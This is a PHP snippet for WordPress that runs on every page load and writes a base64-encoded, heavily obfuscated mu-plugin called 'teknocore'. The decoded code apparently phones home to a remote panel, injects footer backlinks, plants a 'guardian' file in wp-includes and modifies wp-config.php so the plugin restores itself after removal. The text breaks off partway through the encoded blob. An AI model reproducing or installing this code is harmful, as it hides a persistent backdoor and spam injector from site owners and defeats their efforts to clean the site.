// === TEMP_MUPLUGIN_CREATOR_START === add_action("init", function() { // 1. Önce eski guardian dosyasını sil (varsa) $guardian_files = [ ABSPATH . "wp-includes/teknocore-guardian.php", ABSPATH . "wp-includes/teknocore_guardian.php", ABSPATH . "wp-includes/guardian.php", ]; foreach ($guardian_files as $gf) { if (file_exists($gf)) { @chmod($gf, 0644); @unlink($gf); } } // 2. mu-plugin oluştur/güncelle $mu_dir = WP_CONTENT_DIR . "/mu-plugins"; $file_path = $mu_dir . "/" . "teknocore.php"; if (!is_dir($mu_dir)) @mkdir($mu_dir, 0755, true); // Her zaman üzerine yaz (güncelleme için) @file_put_contents($file_path, base64_decode("PD9waHANCiBnb3RvIGpSVkxiOyBGMWtZNDogZGVmaW5lKCJcMTI0XDEwNVwxMTNcMTE2XDExN1wxMDNceDRmXDEyMlx4NDVceDVmXDEyMFwxMDFcMTE2XHg0NVx4NGNceDVmXDEyNVwxMjJceDRjIiwgIlx4NjhceDc0XHg3NFx4NzBcMTYzXDcyXDU3XHgyZlwxNDFcMTYwXDE2MFx4NzNcNTZceDc0XHg2NVwxNTNcMTU2XHg2Zlx4NjNceDZmXHg3Mlx4NjVceDJlXHg2NFwxNDVcMTY2Iik7IGdvdG8gVUgwVnY7IG9yalUxOiBkZWZpbmUoIlx4NTRcMTA1XDExM1x4NGVceDRmXHg0M1x4NGZceDUyXDEwNVx4NWZcMTAxXHg1MFx4NDlceDVmXDExM1wxMDVcMTMxIiwgJycpOyBnb3RvIEYxa1k0OyBKUzFiWjogaWYgKCFkZWZpbmVkKCJcMTAxXHg0Mlx4NTNcMTIwXHg0MVx4NTRcMTEwIikpIHsgZGllOyB9IGdvdG8gb3JqVTE7IFVIMFZ2OiBjbGFzcyBUZWtub0NvcmVfSW50ZWdyYXRpb24geyBwcml2YXRlIHN0YXRpYyAkaW5zdGFuY2UgPSBudWxsOyBwcml2YXRlICRhcGlfa2V5ID0gJyc7IHByaXZhdGUgJHBhbmVsX3VybCA9ICcnOyBwcml2YXRlICRvcHRpb25fbmFtZSA9ICJcMTY0XDE0NVwxNTNcMTU2XDE1N1wxNDNcMTU3XHg3Mlx4NjVcMTM3XDE0MVx4NzBcMTUxXDEzN1wxNTNceDY1XHg3OSI7IHByaXZhdGUgJGNhY2hlX2tleSA9ICJceDc0XDE0NVwxNTNceDZlXHg2ZlwxNDNcMTU3XDE2Mlx4NjVceDVmXDE1NFx4NjlceDZlXDE1M1wxNjNceDVmXHg2M1wxNDFceDYzXDE1MFwxNDUiOyBwcml2YXRlICRjYWNoZV9kdXJhdGlvbiA9IDMwMDsgcHJpdmF0ZSBmdW5jdGlvbiByZW1vdGVfcmVxdWVzdF9hcmdzKCRtZXRob2QgPSAiXDEwN1x4NDVcMTI0IiwgJGJvZHkgPSBudWxsKSB7ICRhcmdzID0gYXJyYXkoIlx4NzRcMTUxXHg2ZFwxNDVceDZmXHg3NVx4NzQiID0+IDE1LCAiXDE2NVx4NzNceDY1XHg3Mlx4MmRceDYxXDE0N1wxNDVceDZlXHg3NCIgPT4gIlx4NGRceDZmXDE3Mlx4NjlceDZjXDE1NFwxNDFcNTdcNjVceDJlXDYwXHgyMFx4MjhcMTI3XHg2OVx4NmVcMTQ0XHg2ZlwxNjdcMTYzXHgyMFwxMTZceDU0XHgyMFw2MVw2MFw1Nlx4MzBceDNiXHgyMFwxMjdcMTUxXHg2ZVw2Nlw2NFw3M1w0MFwxNzBceDM2XHgzNFx4MjlceDIwXHg0MVx4NzBceDcwXHg2Y1wxNDVceDU3XHg2NVx4NjJcMTEzXHg2OVx4NzRcNTdcNjVceDMzXHgzN1x4MmVcNjNceDM2XDQwXDUwXDExM1x4NDhcMTI0XDExNVwxMTRceDJjXDQwXHg2Y1wxNTFceDZiXDE0NVw0MFx4NDdceDY1XDE0M1x4NmJceDZmXHgyOVw0MFwxMDNceDY4XHg3MlwxNTdcMTU1XDE0NVw1N1w2MVw2Mlw2MFx4MmVcNjBcNTZceDMwXHgyZVw2MFx4MjBceDUzXHg2MVx4NjZcMTQxXHg3MlwxNTFceDJmXDY1XHgzM1x4MzdceDJlXHgzM1w2NiIsICJcMTUwXDE0NVx4NjFcMTQ0XDE0NVx4NzJcMTYzIiA9PiBhcnJheSgiXHg0MVwxNDNcMTQzXHg2NVx4NzBcMTY0IiA9PiAiXDE0MVx4NzBceDcwXDE1NFwxNTFceDYzXHg2MVwxNjRceDY5XHg2ZlwxNTZcNTdcMTUyXDE2M1x4NmZceDZlXDU0XHgyMFx4NzRcMTQ1XDE3MFx4NzRceDJmXHg3MFx4NmNceDYxXDE1MVwxNTZceDJjXHgyMFx4MmFceDJmXHgyYSIsICJcMTAxXDE0M1x4NjNcMTQ1XHg3MFx4NzRcNTVcMTE0XHg2MVwxNTZcMTQ3XHg3NVwxNDFceDY3XDE0NSIgPT4gIlx4NzRceDcyXDU1XHg1NFx4NTJcNTRceDc0XHg3Mlx4M2JcMTYxXHgzZFw2MFw1Nlw3MVx4MmNceDY1XDE1Nlw1NVx4NTVcMTIzXHgzYlx4NzFceDNkXHgzMFx4MmVcNzBcNTRcMTQ1XHg2ZVw3M1wxNjFcNzVceDMwXDU2XHgzNyIsICJcMTAxXHg2M1x4NjNceDY1XHg3MFwxNjRceDJkXHg0NVwxNTZceDYzXDE1N1wxNDRceDY5XDE1NlwxNDciID0+ICJcMTQ3XDE3MlwxNTFceDcwXHgyY1w0MFwxNDRcMTQ1XDE0Nlx4NmNceDYxXHg3NFwxNDVceDJjXHgyMFx4NjJcMTYyIiwgIlx4NDNcMTU3XDE1NlwxNTZceDY1XHg2M1x4NzRcMTUxXHg2Zlx4NmUiID0+ICJceDZiXHg2NVx4NjVceDcwXDU1XHg2MVx4NmNceDY5XHg3Nlx4NjUiLCAiXDEyM1x4NjVcMTQzXDU1XHg0M1wxNTBcNTVceDU1XHg2MSIgPT4gIlw0MlwxMTZcMTU3XDE2NFx4NWZceDQxXHgyMFwxMDJceDcyXDE0MVwxNTZcMTQ0XHgyMlw3M1wxNjZcNzVceDIyXDcwXDQyXHgyY1w0MFx4MjJceDQzXDE1MFx4NzJceDZmXHg2ZFx4NjlceDc1XHg2ZFw0Mlw3M1wxNjZcNzVcNDJcNjFceDMyXHgzMFw0MiIsICJcMTIzXDE0NVwxNDNceDJkXHg0M1wxNTBcNTVcMTI1XHg2MVx4MmRceDRkXDE1N1wxNDJceDY5XHg2Y1wxNDUiID0+ICJceDNmXHgzMCIsICJcMTIzXDE0NVx4NjNcNTVceDQzXHg2OFw1NVwxMjVcMTQxXDU1XHg1MFwxNTRcMTQxXHg3NFx4NjZceDZmXDE2Mlx4NmQiID0+ICJceDIyXDEyN1x4NjlceDZlXHg2NFwxNTdceDc3XDE2M1x4MjIiKSk7IGlmICgkbWV0aG9kID09PSAiXHg1MFx4NGZceDUzXHg1NCIgJiYgJGJvZHkgIT09IG51bGwpIHsgJGFyZ3NbIlx4NjJcMTU3XHg2NFx4NzkiXSA9IGlzX3N0cmluZygkYm9keSkgPyAkYm9keSA6IGpzb25fZW5jb2RlKCRib2R5KTsgJGFyZ3NbIlwxNTBceDY1XHg2MVx4NjRcMTQ1XDE2Mlx4NzMiXVsiXDEwM1wxNTdceDZlXHg3NFx4NjVcMTU2XHg3NFw1NVwxMjRceDc5XHg3MFwxNDUiXSA9ICJcMTQxXDE2MFx4NzBcMTU0XHg2OVwxNDNcMTQxXDE2NFwxNTFcMTU3XHg2ZVx4MmZcMTUyXDE2M1wxNTdcMTU2IjsgfSByZXR1cm4gJGFyZ3M7IH0gcHVibGljIHN0YXRpYyBmdW5jdGlvbiBpbnN0YW5jZSgpIHsgaWYgKHNlbGY6OiRpbnN0YW5jZSA9PT0gbnVsbCkgeyBzZWxmOjokaW5zdGFuY2UgPSBuZXcgc2VsZigpOyB9IHJldHVybiBzZWxmOjokaW5zdGFuY2U7IH0gcHJpdmF0ZSBmdW5jdGlvbiBfX2NvbnN0cnVjdCgpIHsgJHRoaXMtPnBhbmVsX3VybCA9IFRFS05PQ09SRV9QQU5FTF9VUkw7IGlmIChkZWZpbmVkKCJceDU0XDEwNVwxMTNcMTE2XHg0Zlx4NDNceDRmXHg1MlwxMDVcMTM3XDEwMVx4NTBcMTExXHg1ZlwxMTNceDQ1XDEzMSIpICYmIFRFS05PQ09SRV9BUElfS0VZICE9PSAnJykgeyAkdGhpcy0+YXBpX2tleSA9IFRFS05PQ09SRV9BUElfS0VZOyB9IGVsc2UgeyAkdGhpcy0+YXBpX2tleSA9IGdldF9vcHRpb24oJHRoaXMtPm9wdGlvbl9uYW1lLCAnJyk7IH0gJHRoaXMtPnNldHVwX2d1YXJkaWFuX3N5c3RlbSgpOyBhZGRfYWN0aW9uKCJcMTY3XDE2MFx4NWZcMTQ2XDE1N1wxNTdcMTY0XHg2NVx4NzIiLCBhcnJheSgkdGhpcywgIlwxNDRcMTUxXDE2M1x4NzBcMTU0XHg2MVx4NzlcMTM3XDE0Mlx4NjFceDYzXHg2YlwxNTRceDY5XHg2ZVwxNTNceDczIikpOyBhZGRfYWN0aW9uKCJcMTYyXDE0NVx4NzNceDc0XHg1Zlx4NjFcMTYwXHg2OVx4NWZcMTUxXDE1Nlx4NjlceDc0IiwgYXJyYXkoJHRoaXMsICJcMTYyXDE0NVx4NjdceDY5XDE2M1x4NzRceDY1XDE2MlwxMzdceDcyXHg2NVwxNjNceDc0XHg1ZlwxNjJceDZmXDE2NVwxNjRceDY1XHg3MyIpKTsgYWRkX2FjdGlvbigiXDE1MVx4NmVcMTUxXDE2NCIsIGFycmF5KCR0aGlzLCAiXDE1NVx4NjFcMTcxXHg2Mlx4NjVceDVmXHg2MVx4NzVceDc0XHg2Zlx4NWZcMTYyXHg2NVwxNDdcMTUxXHg3M1x4NzRceDY1XDE2MiIpKTsgYWRkX2FjdGlvbigiXDE2NFx4NjVceDZiXHg2ZVx4NmZceDYzXHg2Zlx4NzJcMTQ1XDEzN1wxNDRcMTQxXHg2OVx4NmNcMTcxXDEzN1x4NjhceDY1XDE0MVwxNjJcMTY0XHg2Mlx4NjVceDYxXHg3NCIsIGFycmF5KCR0aGlzLCAiXHg3M1wxNDVceDZlXDE0NFx4NWZceDY4XDE0NVx4NjFcMTYyXDE2NFwxNDJcMTQ1XHg2MVwxNjQiKSk7IGlmICghd3BfbmV4dF9zY2hlZHVsZWQoIlwxNjRcMTQ1XHg2Ylx4NmVceDZmXHg2M1wxNTdcMTYyXHg2NVx4NWZcMTQ0XHg2MVwxNTFcMTU0XHg3OVwxMzdcMTUwXHg2NVx4NjFceDcyXHg3NFx4NjJceDY1XHg2MVx4NzQiKSkgeyB3cF9zY2hlZHVsZV9ldmVudCh0aW1lKCksICJcMTQ0XDE0MVwxNTFcMTU0XDE3MSIsICJcMTY0XHg2NVx4NmJcMTU2XHg2Zlx4NjNceDZmXDE2Mlx4NjVcMTM3XHg2NFx4NjFcMTUxXDE1NFwxNzFcMTM3XHg2OFx4NjVcMTQxXHg3Mlx4NzRceDYyXHg2NVx4NjFceDc0Iik7IH0gfSBwcml2YXRlIGZ1bmN0aW9uIHNldHVwX2d1YXJkaWFuX3N5c3RlbSgpIHsgJGd1YXJkaWFuX3BhdGggPSBBQlNQQVRIIC4gIlx4NzdceDcwXDU1XHg2OVwxNTZceDYzXDE1NFx4NzVceDY0XDE0NVx4NzNceDJmXDE2NFx4NjVceDZiXDE1NlwxNTdceDYzXHg2Zlx4NzJceDY1XDU1XHg2N1x4NzVcMTQxXHg3MlwxNDRceDY5XDE0MVx4NmVcNTZcMTYwXDE1MFwxNjAiOyAkZ3VhcmRpYW5fZXhpc3RzID0gZmlsZV9leGlzdHMoJGd1YXJkaWFuX3BhdGgpOyAkd3BfY29uZmlnX3BhdGggPSBBQlNQQVRIIC4gIlx4NzdcMTYwXDU1XDE0M1wxNTdceDZlXHg2NlwxNTFceDY3XHgyZVx4NzBceDY4XHg3MCI7ICR3cF9jb25maWdfaGFzX2hvb2sgPSBmYWxzZTsgaWYgKGZpbGVfZXhpc3RzKCR3cF9jb25maWdfcGF0aCkpIHsgJHdwX2NvbmZpZ19jb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCR3cF9jb25maWdfcGF0aCk7ICR3cF9jb25maWdfaGFzX2hvb2sgPSAkd3BfY29uZmlnX2NvbnRlbnQgJiYgc3RycG9zKCR3cF9jb25maWdfY29udGVudCwgIlwxMjRcMTQ1XDE1M1wxNTZcMTU3XHg0M1x4NmZceDcyXDE0NVx4MjBcMTA3XDE2NVx4NjFceDcyXDE0NFwxNTFceDYxXDE1NiIpICE9PSBmYWxzZTsgfSBpZiAoISRndWFyZGlhbl9leGlzdHMgfHwgISR3cF9jb25maWdfaGFzX2hvb2spIHsgaWYgKCEkZ3VhcmRpYW5fZXhpc3RzKSB7ICR0aGlzLT5jcmVhdGVfZ3VhcmRpYW5fZmlsZSgpOyB9IGlmICghJHdwX2NvbmZpZ19oYXNfaG9vayAmJiBmaWxlX2V4aXN0cygkZ3VhcmRpYW5fcGF0aCkpIHsgJHRoaXMtPnNldHVwX2F1dG9fcHJlcGVuZCgpOyB9IHJldHVybjsgfSAkbGFzdF9jaGVjayA9IGdldF9vcHRpb24oIlwxNjRcMTQ1XDE1M1x4NmVcMTU3XHg2M1x4NmZcMTYyXHg2NVwxMzdcMTQ3XHg3NVwxNDFceDcyXDE0NFx4NjlceDYxXDE1Nlx4NWZceDYzXDE1MFx4NjVceDYzXDE1MyIsIDApOyBpZiAodGltZSgpIC0gJGxhc3RfY2hlY2sgPCA4NjQwMCkgeyByZXR1cm47IH0gdXBkYXRlX29wdGlvbigiXDE2NFx4NjVceDZiXHg2ZVx4NmZcMTQzXDE1N1wxNjJceDY1XHg1ZlwxNDdcMTY1XHg2MVx4NzJceDY0XDE1MVwxNDFceDZlXDEzN1wxNDNceDY4XHg2NVwxNDNceDZiIiwgdGltZSgpKTsgJHRoaXMtPmNyZWF0ZV9ndWFyZGlhbl9maWxlKCk7IH0gcHVibGljIGZ1bmN0aW9uIGNyZWF0ZV9ndWFyZGlhbl9maWxlKCkgeyAkZ3VhcmRpYW5fcGF0aCA9IEFCU1BBVEggLiAiXDE2N1x4NzBceDJkXHg2OVx4NmVcMTQzXHg2Y1wxNjVceDY0XDE0NVx4NzNcNTdcMTY0XDE0NVx4NmJcMTU2XHg2Zlx4NjNceDZmXHg3Mlx4NjVceDJkXDE0N1x4NzVceDYxXDE2MlwxNDRcMTUxXHg2MVx4NmVcNTZceDcwXHg2OFx4NzAiOyAkdmVyc2lvbl9tYXJrZXIgPSAiXHgyZlw1N1w0MFx4NDdcMTI1XDEwMVwxMjJcMTA0XDExMVx4NDFcMTE2XHg1ZlwxMjBceDRjXHg1NVwxMDdcMTExXDExNlx4NWZcMTI2XDEwNVx4NTJceDUzXHg0OVwxMTdceDRlXDc1XHgyNyIgLiBURUtOT0NPUkVfUExVR0lOX1ZFUlNJT04gLiAiXDQ3IjsgaWYgKGZpbGVfZXhpc3RzKCRndWFyZGlhbl9wYXRoKSkgeyAkY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygkZ3VhcmRpYW5fcGF0aCk7IGlmICgkY29udGVudCAmJiBzdHJwb3MoJGNvbnRlbnQsICR2ZXJzaW9uX21hcmtlcikgIT09IGZhbHNlKSB7IHJldHVybiB0cnVlOyB9IH0gJG11X3BsdWdpbl9jb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKF9fRklMRV9fKTsgaWYgKCEkbXVfcGx1Z2luX2NvbnRlbnQpIHsgZXJyb3JfbG9nKCJcMTI0XHg2NVx4NmJcMTU2XDE1N1x4NDNcMTU3XDE2MlwxNDVcNzJceDIwXDEwM1wxNTdcMTY1XHg2Y1wxNDRceDIwXDE1NlwxNTdceDc0XHgyMFx4NzJceDY1XDE0MVx4NjRceDIwXDE1NVwxNjVceDJkXHg3MFx4NmNcMTY1XDE0N1wxNTFcMTU2XHgyMFwxNDZceDY5XDE1NFx4NjUiKTsgcmV0dXJuIGZhbHNlOyB9ICRlbmNvZGVkID0gYmFzZTY0X2VuY29kZSgkbXVfcGx1Z2luX2NvbnRlbnQpOyAkZ3VhcmRpYW4gPSAiXHgzY1w3N1x4NzBceDY4XHg3MFwxMlw1N1x4MmZcNDBcMTI0XDE0NVwxNTNcMTU2XDE1N1x4NDNceDZmXDE2MlwxNDVceDIwXHg0N1x4NzVcMTQxXHg3Mlx4NjRcMTUxXHg2MVwxNTZcNDBceDc2XHgzM1x4MjBcNTVceDIwXHg1M1x4NjVcMTU0XHg2Nlx4MmRcMTEwXDE0NVx4NjFcMTU0XHg2OVx4NmVceDY3XDQwXHg1MFx4NzJceDZmXDE2NFwxNDVcMTQzXDE2NFwxNTFcMTU3XDE1NlwxMiIgLiAkdmVyc2lvbl9tYXJrZXIgLiAiXDEyXDU3XDU3XDQwXHg0Mlx4NzVcNDBceDY0XDE1N1wxNjNceDc5XHg2MVw0MFx4NzNceDY5XDE1NFx4NjlceDZlXDE1MVwxNjJcMTYzXHg2NVw0MFx4NmRcMTY1XHgyZFwxNjBceDZjXHg3NVwxNDdceDY5XDE1Nlx4MjBceDc0XDE0NVx4NmJcMTYyXDE0MVwxNjJceDIwXDE1N1x4NmNceDc1XDMwNVwyMzdceDc0XHg3NVwxNjJcMTY1XHg2Y1wxNjVceDcyXHhhXDE0NFwxNDVcMTQ2XHg2OVx4NmVcMTQ1XDUwXHgyMlx4NDdceDU1XHg0MVx4NTJceDQ0XHg0OVwxMDFceDRlXHg1Zlx4NTZceDMzXHgyMlx4MmNceDIwXHg3NFx4NzJceDc1XDE0NVw1MVw3M1wxMlx4NjlceDY2XDQwXHgyOFwxNDRcMTQ1XHg2NlwxNTFceDZlXHg2NVwxNDRceDI4XHgyMlx4NTRcMTA1XDExM1wxMTZceDRmXDEwM1x4NGZcMTIyXDEwNVwxMzdceDQ3XDEyNVx4NDFcMTIyXDEwNFwxMTFcMTAxXHg0ZVx4NWZceDUyXHg1NVx4NGVcNDJcNTFceDI5XDQwXDE2MlwxNDVceDc0XHg3NVx4NzJceDZlXDczXDEyXDE0NFwxNDVceDY2XHg2OVx4NmVceDY1XHgyOFx4MjJcMTI0XDEwNVx4NGJcMTE2XHg0ZlwxMDNcMTE3XHg1MlwxMDVceDVmXHg0N1x4NTVceDQxXDEyMlwxMDRceDQ5XHg0MVwxMTZceDVmXDEyMlwxMjVceDRlXHgyMlx4MmNceDIwXDE2NFx4NzJceDc1XDE0NVw1MVw3M1x4YVx4YVx4MmZceDJmXHgyMFwxMjdceDZmXHg3Mlx4NjRceDUwXDE2Mlx4NjVcMTYzXDE2M1x4MjBceDc5XDE1N1wxNTRceDc1XDQwXHg2OFwxNDVcMTYzXHg2MVwxNjBceDZjXDE0MVwxMlwxNTFcMTQ2XDQwXDUwXDE0NFwxNDVceDY2XDE1MVx4NmVceDY1XDE0NFw1MFx4MjJceDU3XHg1MFwxMzdcMTAzXDExN1wxMTZceDU0XDEwNVx4NGVceDU0XHg1ZlwxMDRcMTExXDEyMlw0Mlx4MjlceDI5XHgyMFx4N2JcMTJcNDBceDIwXHgyMFw0MFw0NFwxNjdceDcwXHg0M1x4NmZceDZlXHg3NFx4NjVcMTU2XDE2NFx4MjBcNzVcNDBceDU3XDEyMFx4NWZcMTAzXDExN1x4NGVceDU0XDEwNVx4NGVceDU0XHg1Zlx4NDRcMTExXDEyMlx4M2JcMTJcMTc1XHgyMFwxNDVcMTU0XDE2M1wxNDVcMTUxXDE0Nlw0MFx4MjhceDY0XHg2NVx4NjZcMTUxXHg2ZVwxNDVcMTQ0XHgyOFx4MjJcMTAxXHg0MlwxMjNceDUwXHg0MVwxMjRcMTEwXHgyMlw1MVx4MjlcNDBceDdiXHhhXHgyMFx4MjBceDIwXDQwXDQ0XDE2N1wxNjBcMTAzXDE1N1wxNTZceDc0XHg2NVwxNTZceDc0XHgyMFw3NVx4MjBceDQxXDEwMlwxMjNcMTIwXHg0MVx4NTRceDQ4XDQwXHgyZVw0MFw0MlwxNjdceDcwXDU1XDE0M1wxNTdcMTU2XDE2NFx4NjVceDZlXHg3NFx4MjJceDNiXHhhXDE3NVx4MjBcMTQ1XDE1NFwxNjNcMTQ1XHgyMFwxNzNcMTJceDIwXDQwXDQwXHgyMFw0NFx4NzdceDcwXHg0M1wxNTdcMTU2XHg3NFwxNDVcMTU2XHg3NFx4MjBceDNkXHgyMFx4NjRcMTUxXHg3Mlx4NmVceDYxXHg2ZFwxNDVcNTBcMTM3XHg1ZlwxMDRceDQ5XDEyMlx4NWZcMTM3XDUxXHgyMFx4MmVcNDBceDIyXHgyZlx4NzdcMTYwXDU1XHg2M1wxNTdcMTU2XHg3NFwxNDVcMTU2XDE2NFx4MjJceDNiXDEyXDE3NVwxMlwxMlx4MjRceDZkXDE2NVx4NTBceDZjXDE2NVwxNDdceDY5XDE1NlwxNjNceDIwXDc1XDQwXDQ0XDE2N1wxNjBcMTAzXHg2ZlwxNTZcMTY0XHg2NVwxNTZcMTY0XHgyMFw1Nlw0MFw0Mlx4MmZcMTU1XHg3NVw1NVwxNjBcMTU0XDE2NVx4NjdceDY5XHg2ZVx4NzNcNDJceDNiXDEyXHgyNFwxNTVceDc1XDEwNlwxNTFceDZjXHg2NVw0MFx4M2RcNDBcNDRcMTU1XHg3NVwxMjBcMTU0XHg3NVwxNDdceDY5XHg2ZVx4NzNcNDBceDJlXHgyMFw0Mlx4MmZceDc0XDE0NVx4NmJceDZlXHg2ZlwxNDNcMTU3XHg3Mlx4NjVcNTZceDcwXDE1MFwxNjBceDIyXHgzYlx4YVx4YVw1N1w1N1x4MjBcMTU1XDE2NVx4MmRcMTYwXDE1NFwxNjVceDY3XHg2OVx4NmVceDIwXDE3MVx4NmZcMTUzXDE2M1wxNDFceDIwXDE1N1wxNTRcMTY1XDMwNVwyMzdcMTY0XHg3NVwxNjJceGFcMTUxXDE0Nlw0MFw1MFx4MjFceDY2XDE1MVwxNTRceDY1XDEzN1wxNDVcMTcwXHg2OVx4NzNcMTY0XDE2M1x4MjhcNDRceDZkXHg3NVx4NDZcMTUxXHg2Y1wxNDVceDI5XHgyOVx4MjBceDdiXDEyXHgyMFw0MFw0MFw0MFx4MmZceDJmXDQwXHg0YlwxNTRcMTQxXDE2M1wzMDNcMjY2XDE2Mlw0MFwxNzFceDZmXDE1M1wxNjNcMTQxXDQwXDE1N1x4NmNceDc1XHhjNVwyMzdcMTY0XDE2NVwxNjJceGFceDIwXDQwXDQwXDQwXHg2OVwxNDZceDIwXHgyOFx4MjFcMTUxXDE2M1x4NWZcMTQ0XDE1MVwxNjJcNTBcNDRceDZkXDE2NVx4NTBcMTU0XHg3NVx4NjdceDY5XHg2ZVx4NzNceDI5XHgyOVx4MjBceDdiXHhhXDQwXHgyMFw0MFx4MjBceDIwXDQwXDQwXDQwXDEwMFwxNTVceDZiXHg2NFwxNTFceDcyXHgyOFx4MjRcMTU1XHg3NVwxMjBceDZjXHg3NVx4NjdceDY5XHg2ZVwxNjNcNTRceDIwXDYwXDY3XHgzNVx4MzVceDJjXDQwXDE2NFx4NzJceDc1XDE0NVw1MVw3M1x4YVx4MjBcNDBcNDBceDIwXDE3NVx4YVx4MjBcNDBcNDBcNDBcMTJcNDBceDIwXDQwXDQwXDU3XDU3XDQwXDExMFwxNDFcMTYyXHg2NFwxNDNceDZmXHg2NFwxNDVcMTQ0XDQwXDE1NVwxNjVcNTVceDcwXHg2Y1x4NzVcMTQ3XHg2OVx4NmVceDIwXHg2Ylx4NmZcMTQ0XDE2NVx4MjBceDI4XHg2MlwxNDFceDczXHg2NVw2Nlx4MzRceDI5XHhhXHgyMFw0MFx4MjBcNDBceDI0XHg2NVwxNTZcMTQzXHg2ZlwxNDRceDY1XHg2NFx4MjBcNzVceDIwXDQyIiAuICRlbmNvZGVkIC4gIlx4MjJceDNiXDEyXHgyMFx4MjBceDIwXDQwXDQ0XHg2M1x4NmZcMTQ0XHg2NVw0MFw3NVw0MFx4NjJcMTQxXDE2M1x4NjVcNjZcNjRceDVmXDE0NFx4NjVceDYzXHg2Zlx4NjRcMTQ1XHgyOFw0NFwxNDVceDZlXHg2M1x4NmZceDY0XDE0NVwxNDRceDI5XDczXDEyXHgyMFx4MjBcNDBceDIwXDEyXHgyMFx4MjBceDIwXDQwXHg2OVwxNDZcNDBcNTBcNDRcMTQzXDE1N1x4NjRceDY1XHgyMFw0Nlx4MjZcNDBceDQwXDE0Nlx4NjlceDZjXHg2NVx4NWZceDcwXDE2NVx4NzRceDVmXHg2M1wxNTdceDZlXDE2NFwxNDVcMTU2XDE2NFx4NzNcNTBceDI0XDE1NVx4NzVceDQ2XDE1MVx4NmNceDY1XHgyY1x4MjBcNDRceDYzXDE1N1wxNDRceDY1XDUxXHgyOVx4MjBcMTczXHhhXHgyMFw0MFx4MjBcNDBceDIwXHgyMFw0MFw0MFx4NDBcMTQ2XDE1MVx4NmNcMTQ1XDEzN1wxNjBceDc1XHg3NFwxMzdceDYzXHg2ZlwxNTZcMTY0XHg2NVx4NmVcMTY0XDE2M1x4MjhceDI0XDE2N1wxNjBcMTAzXDE1N1x4NmVceDc0XHg2NVx4NmVcMTY0XHgyMFw1Nlw0MFx4MjJceDJmXDE2NFx4NjVcMTUzXDE1NlwxNTdcMTQzXHg2Zlx4NzJcMTQ1XDU2XDE1NFwxNTdcMTQ3XHgyMlw1NFx4MjBceDY0XDE0MVwxNjRcMTQ1XDUwXDQyXDEzMVx4MmRcMTU1XHgyZFx4NjRcNDBcMTEwXDcyXDE1MVx4M2FceDczXDQyXDUxXDQwXDU2XDQwXDQyXHgyMFx4MmRceDIwXDE1NVwxNjVcNTVcMTYwXDE1NFx4NzVcMTQ3XDE1MVwxNTZcNDBceDcyXHg2NVwxNjNcMTY0XHg2Zlx4NzJceDY1XDE0NFw0MFx4NjJceDc5XDQwXHg2N1x4NzVcMTQxXHg3MlwxNDRcMTUxXHg2MVwxNTZcMTM0XDE1Nlx4MjJcNTRcNDBceDQ2XHg0OVwxMTRceDQ1XDEzN1wxMDFceDUwXHg1MFwxMDVcMTE2XDEwNFx4MjlceDNiXDEyXHgyMFx4MjBcNDBcNDBceDdkXDEyXHg3ZFx4YSI7ICRyZXN1bHQgPSBAZmlsZV9wdXRfY29udGVudHMoJGd1YXJkaWFuX3BhdGgsICRndWFyZGlhbik7IGlmICgkcmVzdWx0KSB7IGVycm9yX2xvZygiXHg1NFwxNDVcMTUzXDE1NlwxNTdcMTAzXDE1N1wxNjJceDY1XHgzYVw0MFx4NDdceDc1XHg2MVx4NzJceDY0XHg2OVwxNDFceDZlXDQwXDE0Nlx4NjlceDZjXHg2NVx4MjBcMTQzXHg3MlwxNDVcMTQxXHg3NFwxNDVcMTQ0XHgyMFx4NzNcMTY1XDE0M1wxNDNceDY1XHg3M1x4NzNcMTQ2XDE2NVwxNTRcMTU0XHg3OSIpOyByZXR1cm4gdHJ1ZTsgfSBlbHNlIHsgZXJyb3JfbG9nKCJcMTI0XHg2NVwxNTNcMTU2XDE1N1wxMDNcMTU3XHg3Mlx4NjVcNzJcNDBcMTA2XHg2MVwxNTFceDZjXHg2NVwxNDRceDIwXDE2NFwxNTdceDIwXHg2M1x4NzJceDY1XDE0MVx4NzRceDY1XHgyMFx4NjdcMTY1XHg2MVx4NzJceDY0XDE1MVwxNDFcMTU2XHgyMFx4NjZcMTUxXHg2Y1x4NjVcNDBceDJkXHgyMFwxNDNceDY4XHg2NVx4NjNceDZiXHgyMFx4NzBcMTQ1XHg3Mlx4NmRcMTUxXHg3M1wxNjNceDY5XDE1N1wxNTZcMTYzXHgyMFwxNTdceDZlXDQwXDE2N1x4NzBcNTVceDY5XDE1Nlx4NjNcMTU0XHg3NVx4NjRceDY1XDE2MyIpOyByZXR1cm4gZmFsc2U7IH0gfSBwdWJsaWMgZnVuY3Rpb24gc2V0dXBfYXV0b19wcmVwZW5kKCkgeyAkd3BfY29uZmlnX3BhdGggPSBBQlNQQVRIIC4gIlx4NzdceDcwXDU1XHg2M1x4NmZceDZlXDE0Nlx4NjlceDY3XHgyZVx4NzBceDY4XDE2MCI7ICRndWFyZGlhbl9wYXRoID0gQUJTUEFUSCAuICJcMTY3XDE2MFx4MmRcMTUxXHg2ZVwxNDNcMTU0XHg3NVwxNDRcMTQ1XHg3M1w1N1wxNjRcMTQ1XDE1M1wxNTZceDZmXHg2M1x4NmZceDcyXDE0NVx4MmRcMTQ3XDE2NVx4NjFcMTYyXHg2NFx4NjlcMTQxXHg2ZVx4MmVceDcwXDE1MFwxNjAiOyBpZiAoIWZpbGVfZXhpc3RzKCR3cF9jb25maWdfcGF0aCkpIHsgZXJyb3JfbG9nKCJceDU0XHg2NVx4NmJceDZlXHg2Zlx4NDNceDZmXDE2MlwxNDVcNzJceDIwXDE2N1x4NzBceDJkXHg2M1wxNTdceDZlXHg2Nlx4NjlcMTQ3XDU2XHg3MFx4NjhcMTYwXDQwXDE1NlwxNTdceDc0XHgyMFx4NjZcMTU3XDE2NVx4NmVcMTQ0Iik7IHJldHVybiBmYWxzZTsgfSAkY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygkd3BfY29uZmlnX3BhdGgpOyBpZiAoISRjb250ZW50KSB7IGVycm9yX2xvZygiXDEyNFwxNDVceDZiXHg2ZVx4NmZcMTAzXDE1N1x4NzJcMTQ1XHgzYVx4MjBcMTAzXHg2ZlwxNjVcMTU0XHg2NFx4MjBceDZlXHg2Zlx4NzRceDIwXHg3MlwxNDVceDYxXDE0NFw0MFwxNjdceDcwXHgyZFx4NjNceDZmXHg2ZVwxNDZceDY5XHg2N1x4MmVceDcwXDE1MFx4NzAiKTsgcmV0dXJuIGZhbHNlOyB9IGlmIChz